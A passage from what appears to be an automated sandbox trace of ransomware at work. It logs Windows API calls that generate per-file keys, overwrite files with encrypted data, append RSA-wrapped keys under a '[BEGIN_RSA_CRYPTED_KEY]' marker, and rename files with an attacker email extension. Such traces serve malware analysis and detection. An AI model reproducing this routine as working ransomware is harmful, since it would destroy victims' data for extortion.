pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.392] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.392] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="RKNk5uaJexXoVokc6g9dZox3s27mbTUmxbFXmf6sEUHvcEd83D2eO1E1GxeQQOg+\nAtbFPMUw2j9OUYQGzT/xU0mPY63tl3wfVot22vKZvChn6VeSBeZuSnUojQJnAv8z\nehKAkDkDl1SRB+/9vAGsYqLhM4A7MNtxB4rEOvUEM0iNONajxKcnQ9exNUQttojO\n3YzQcOn+KHuOw1D6g3CKaZbFDJI5JgrUmNak3w3Alu6pt8/1TbUr9u/iF/pwj1jL\nOUpwWybQ/jknXfHlC9KLoyWuG8d9+a3flaTtJt2c3AWjJrr3K62y/znycJL7Lnmq\nJFtk0OMEUQc+HipSZ/35FQ==\n", pcchString=0x2e3f9a8) returned 1 [0228.392] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.392] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.392] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.393] CloseHandle (hObject=0x1988) returned 1 [0228.396] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.396] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\bba8ff68-64fb-4605-ae42-fe59570f7bb7", dwFileAttributes=0x80) returned 1 [0228.397] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\bba8ff68-64fb-4605-ae42-fe59570f7bb7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\bba8ff68-64fb-4605-ae42-fe59570f7bb7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0228.397] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=122247) returned 1 [0228.397] ReadFile (in: hFile=0x1988, lpBuffer=0x3393008, nNumberOfBytesToRead=0x1dd87, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3393008*, lpNumberOfBytesRead=0x2e3f9b4*=0x1dd87, lpOverlapped=0x0) returned 1 [0228.451] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-122247, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.451] WriteFile (in: hFile=0x1988, lpBuffer=0x33b0d98*, nNumberOfBytesToWrite=0x1dd87, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33b0d98*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1dd87, lpOverlapped=0x0) returned 1 [0228.452] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1dd87 [0228.452] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.452] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.452] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.452] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.453] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.453] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="s58jvHBUgCySp0XlYVFiHOfWhhKnLEojeGPLKk/bNal+7Je0N2HC3BGc4jpFOLsk\nJg4TmN/PQPjE8FIgFmGKlO0ZM332i4onG6eJE8COhO3qv7nO31anEzIeHypJ6rDq\ngSuQjszqzg+4Ghh3Gnewwx04gVBFSCsP4+4hsYezLO7GP8dVtz+XzLS/wXjJbGBT\n7jiydzK/lMgmGg1DkDrZvZn6SLSGaZIiej/Hqu6PCKt3HMLQX2yNOR0XnoyNXNO/\ndmZPbgEvnMnlLgrYZ3qrOlabE3LoYUr40/Us1ce1IbxeB7Q80Xs0h62QsGD5HwLo\nV2UAuQrYOf8XbUO4/5YaJg==\n", pcchString=0x2e3f9a8) returned 1 [0228.453] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.453] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.453] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.453] CloseHandle (hObject=0x1988) returned 1 [0228.455] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\af440790-6f0a-42ac-b8a5-e53856d9d828", dwFileAttributes=0x80) returned 1 [0228.456] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\af440790-6f0a-42ac-b8a5-e53856d9d828" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\af440790-6f0a-42ac-b8a5-e53856d9d828"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0228.457] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=76338) returned 1 [0228.457] ReadFile (in: hFile=0x1988, lpBuffer=0x3393008, nNumberOfBytesToRead=0x12a32, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3393008*, lpNumberOfBytesRead=0x2e3f9b4*=0x12a32, lpOverlapped=0x0) returned 1 [0228.468] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-76338, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.468] WriteFile (in: hFile=0x1988, lpBuffer=0x33a5a48*, nNumberOfBytesToWrite=0x12a32, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33a5a48*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12a32, lpOverlapped=0x0) returned 1 [0228.469] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12a32 [0228.469] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.469] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.469] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.469] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.469] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.469] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="c/pcFg652aCiVL4h0NtZdeto08ZdSGj2Ze6O5LJ5vmioUOpc8QwY9mD0Sd58X0W8\nd+t5YItbxAm/EG6dghQA9sQ7pt3qgKnV72NFf4+mBrdc3gqwv2p+uxP5KiqX8US8\nNdOmW5NWCBB3RGxe+JIzwmxWaPs5HHPshS8MVmmTLyeJbrZZ0uAtYb4+v7z6ai7E\niLGU1c+sUx+2lHOKXduECvtvJMH2IWwrtIfLjPg2u4MWOSl195b9jC4wR9IFJpl6\nLuITclxHtKQYp2ndZ/YVeouqUjTV7WX5tPMAxMOkgnowJYvpV3K7oTE71CXlokWn\nQXy3k3Ad24hdMp4QqGzPlg==\n", pcchString=0x2e3f9a8) returned 1 [0228.469] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.469] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.469] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.470] CloseHandle (hObject=0x1988) returned 1 [0228.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0228.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee63e8 | out: hHeap=0x570000) returned 1 [0228.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0228.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0228.471] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.472] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\816b519f-6aae-4806-a871-9e26a12741ef", dwFileAttributes=0x80) returned 1 [0228.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0228.472] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\816b519f-6aae-4806-a871-9e26a12741ef" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\816b519f-6aae-4806-a871-9e26a12741ef"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0228.473] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3184) returned 1 [0228.473] ReadFile (in: hFile=0x1988, lpBuffer=0x313e008, nNumberOfBytesToRead=0xc70, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesRead=0x2e3f9b4*=0xc70, lpOverlapped=0x0) returned 1 [0228.474] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-3184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.474] WriteFile (in: hFile=0x1988, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc70, lpOverlapped=0x0) returned 1 [0228.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e008 | out: hHeap=0x570000) returned 1 [0228.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0228.474] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc70 [0228.474] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.474] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.474] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.474] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.475] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.475] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3rpQ8AfdOwunQrk9GVFM/TBu1LFCPwhVtFY8jKuWHUg7xSo2+mSRVomAudBvg9cJ\nUD8btWrqa49/+PO7QXziEUw9WNOIAjsfhryysteLiD/enJP+ZeZi20MTQGVpYpHz\n6NYh4sDK18Uf6NqC5Itr9lhUHfHVZu4uPp6Ku0e9/EOZAYVZ8TndS8idtOv2xXIM\nWAIH7Wium5fy5KpENGhR+A0+ZuUzpPrUiHMlmJEeKvvq9lxChk1EUHG7+IfDF3rt\n3OYhKekWQ27Z5CseD3uOTmCVNzTLgAwHB+/z4cfyqQ4jw1vCQs8UCzJ0aNoARbLd\np+T1hE5fTVdXDuClIi+5Tw==\n", pcchString=0x2e3f9a8) returned 1 [0228.475] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.475] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.475] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.475] CloseHandle (hObject=0x1988) returned 1 [0228.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0228.475] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\816b519f-6aae-4806-a871-9e26a12741ef" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\816b519f-6aae-4806-a871-9e26a12741ef"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\816b519f-6aae-4806-a871-9e26a12741ef.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\816b519f-6aae-4806-a871-9e26a12741ef.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0228.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0228.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6488 | out: hHeap=0x570000) returned 1 [0228.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0228.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0228.478] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.478] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\6ac60a78-519d-4397-8cfd-8288aad6ad67", dwFileAttributes=0x80) returned 1 [0228.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0228.478] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\6ac60a78-519d-4397-8cfd-8288aad6ad67" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\6ac60a78-519d-4397-8cfd-8288aad6ad67"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0228.479] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1945) returned 1 [0228.479] ReadFile (in: hFile=0x1988, lpBuffer=0x66e548, nNumberOfBytesToRead=0x799, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x799, lpOverlapped=0x0) returned 1 [0228.499] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-1945, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.499] WriteFile (in: hFile=0x1988, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x799, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x799, lpOverlapped=0x0) returned 1 [0228.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0228.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e008 | out: hHeap=0x570000) returned 1 [0228.499] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x799 [0228.499] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.499] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.499] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.499] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.500] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.500] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="HZA5PZxp2bxO/FedzD45rpSToDbuEfsQnALYsXWmH9pZBx6ZUW8pRXGOBQ3OSQAT\nGhSJedZxe+JbeaJ4DQWu4swHzW2OYqp79ZuW25/CsNwoPybR2z8R6OpifebM+b3d\n35YkYRlMoqlOne+Gh3P9606vMN+x1AsPnDQDhm5XfS47J7Sf9a77SvfUwr38JXLx\nC1nFzFC550WgXsyYoX/eMqu3z/wiQqH1fUB8QMGzGOisksRm6HnRl4XfL4IcUVNw\n47zgmpzIKAkK+egapNkwXn+bPpjtPq6GcbcTlBfJjxc5Qz6jgEBPjkRMH0ATUbm5\nahXFSVBGMd6eLCy3iJ/DDw==\n", pcchString=0x2e3f9a8) returned 1 [0228.500] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.500] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.500] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.500] CloseHandle (hObject=0x1988) returned 1 [0228.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0228.500] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\6ac60a78-519d-4397-8cfd-8288aad6ad67" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\6ac60a78-519d-4397-8cfd-8288aad6ad67"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\6ac60a78-519d-4397-8cfd-8288aad6ad67.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\6ac60a78-519d-4397-8cfd-8288aad6ad67.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0228.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0228.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6460 | out: hHeap=0x570000) returned 1 [0228.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0228.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dae8 | out: hHeap=0x570000) returned 1 [0228.502] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.502] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\564654d8-f181-4d50-84f0-95228e86ec66", dwFileAttributes=0x80) returned 1 [0228.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0228.503] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\564654d8-f181-4d50-84f0-95228e86ec66" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\564654d8-f181-4d50-84f0-95228e86ec66"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0228.503] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19968) returned 1 [0228.503] ReadFile (in: hFile=0x1988, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4e00, lpOverlapped=0x0) returned 1 [0228.524] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-19968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.525] WriteFile (in: hFile=0x1988, lpBuffer=0x2f39e28*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39e28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4e00, lpOverlapped=0x0) returned 1 [0228.525] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f35020 | out: hHeap=0x570000) returned 1 [0228.525] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39e28 | out: hHeap=0x570000) returned 1 [0228.525] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4e00 [0228.525] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.525] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.525] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.525] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, 